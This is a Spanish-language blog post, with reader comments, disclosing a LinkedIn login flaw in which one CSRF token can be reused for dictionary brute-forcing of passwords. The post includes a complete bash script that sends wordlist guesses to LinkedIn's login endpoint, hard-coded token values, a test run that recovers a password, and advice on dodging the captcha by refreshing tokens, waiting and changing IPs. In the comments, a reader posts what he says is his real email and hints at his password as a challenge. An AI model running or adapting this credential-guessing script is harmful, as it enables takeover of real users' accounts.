Vulnerabilidad en LinkedIn permite obtencion de contraseñas

El proceso para iniciar sesión de LinkedIn es vulnerable a ataques de fuerza bruta y es posible, mediante un diccionario, descubrir la password de usuarios. Este ataque es factible debido a un error en la validación del token de seguridad (Csrf token) que permite enviar tantos request remotos como queramos, probando distintos usuarios y usando el mismo token. La única protección que existe, es que luego de decenas de intentos, nos muestra un Captcha, sin embargo, luego de esperar un tiempo y con un nuevo Token, es posible continuar con el ataque. Para obtener un Token y poder probar el ataque, debemos atrapar el POST que se hace en el formulario de login y obtener el "sourceAlias" y "csrfToken". Cuando realizamos el ataque, no es necesario enviarle estos valores metiante POST, ya que no discrimina el métido por el cual se le entregan los valores, pudiendo generar un simple script que haga consultas mediante GET pasandole las variables por URL. El paso siguiente es armar un script que nos ayude a enviar requests hacia el script "login-submit" de LinkedIn, validar la respuesta y comprobar la contraseña.
#!/bin/bash
#
# usage: ./linkedin.sh username@domain.com wordlist
#

TOKEN="ajax%3A1969342887909916588"
sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"

if [ ! -f $2 ];
then
	echo "file $2 does not exists"
	exit
fi

_USR=$1
for _PWD in $(cat $2);
do
	if [ $(echo -n $_PWD|wc -c) -lt 6 ];
	then
		echo "Ignoring $_PWD (must be grather than 6 chars)"; continue
	fi
	wget -o /dev/null -O - "https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless"|grep 'The email address or password you provided does not match our records\|captcha' >>/dev/null
	if [ $? -eq 1 ];
	then
		echo "Password found: $_PWD"; exit;
	fi
done

echo "Password NOT found. Try later."
Lo que hace este script es leer un archivo de texto que usará como diccionario para realizar el ataque. Cuando queramos cambiar el Token debemos modificar el valor de la variable "TOKEN" dentro del script. A modo de prueba, cree la cuenta "panic@zerial.org" y un diccionario que contiene las siguientes palabras:
asdfgh zxcvbnm 1234567 0987654 12345698 456_4567 123456qwert 123456qwerty 12345qwei 112233
Ejecuté el script entregandole los parametros necesarios: sh linkedin.sh panic@zerial.org wordlist y este es el resultado: Password found: 123456qwerty Que corresponde a la password de prueba. Si linkedin nos pone problemas con el captcha, lo que debemos hacer es ingresar via web con una cuenta valida, capturar nuevamente el Token e intentarlo nuevamente con ese token. Nota: LinkedIn fue notificado hace 2 semanas sobre esta vulnerabilidad, pero no respondieron.

Comentarios (9)

oe
Zerial... deja de publicar cosas.. mira que hasta por twitter están dando jugo... :)
p0fk
buena ... cada cuantos intentos salta el captcha, cual fue el limite de los diccionario que usaste ?
Zerial
es relativo la cantidad de intentos hasta que salte el captcha, depende de como cambies tu ip, del delay entre cada consulta, de como vayas cambiando el token, etc. Yo hice la prueba con 1 ip, 1 token y un diccionario de 10 palabras. Luego de correr 2 o 3 veces el script, sin ningun delay entre request, salto el captcha. Tuve que cambiar el token y esperar unos mins para continuar.
davisdrumkey
MUHAHAHA (6) wena wena

que mal la preocupacion de Linkedin al no responder como en dos semanas cuak!
fossie
Buen artículo. Me ha gustado el "paso a paso" incluso con la cuenta de prueba... espero que los de linkedIn no te pongan problemas y no te acusen de intentar hackearles.

Saludos!
MisionImposible
Muy bonito, pero no lo veo factible. Si es necesario estar alerta para que cada diez, cien, mil, etc intentos deba generar un nuevo Token, entonces es practicamente imposible hackear un password en esas condiciones.
Para demostrarlo te reto a que obtengas la contraseña de mi cuenta: misionimposible@gmail.com (es mi cuenta real eh!)
Por esa dificultad es que han restado importancia a la notificación de la supuesta vulnerabilidad.
MisionImposible
Ah. Perdon! una ayudita. No creas que la contraseña es super-rebuscada. Es una palabra real del diccionario español de 7 caracteres, sin acentos ni eñes, ni tildes ni nada. Suerte!
khun
Ohhhhhhhh! 10 - 0
Juan
Parece que el tiempo le dio la razón a @Zerial

Deja un comentario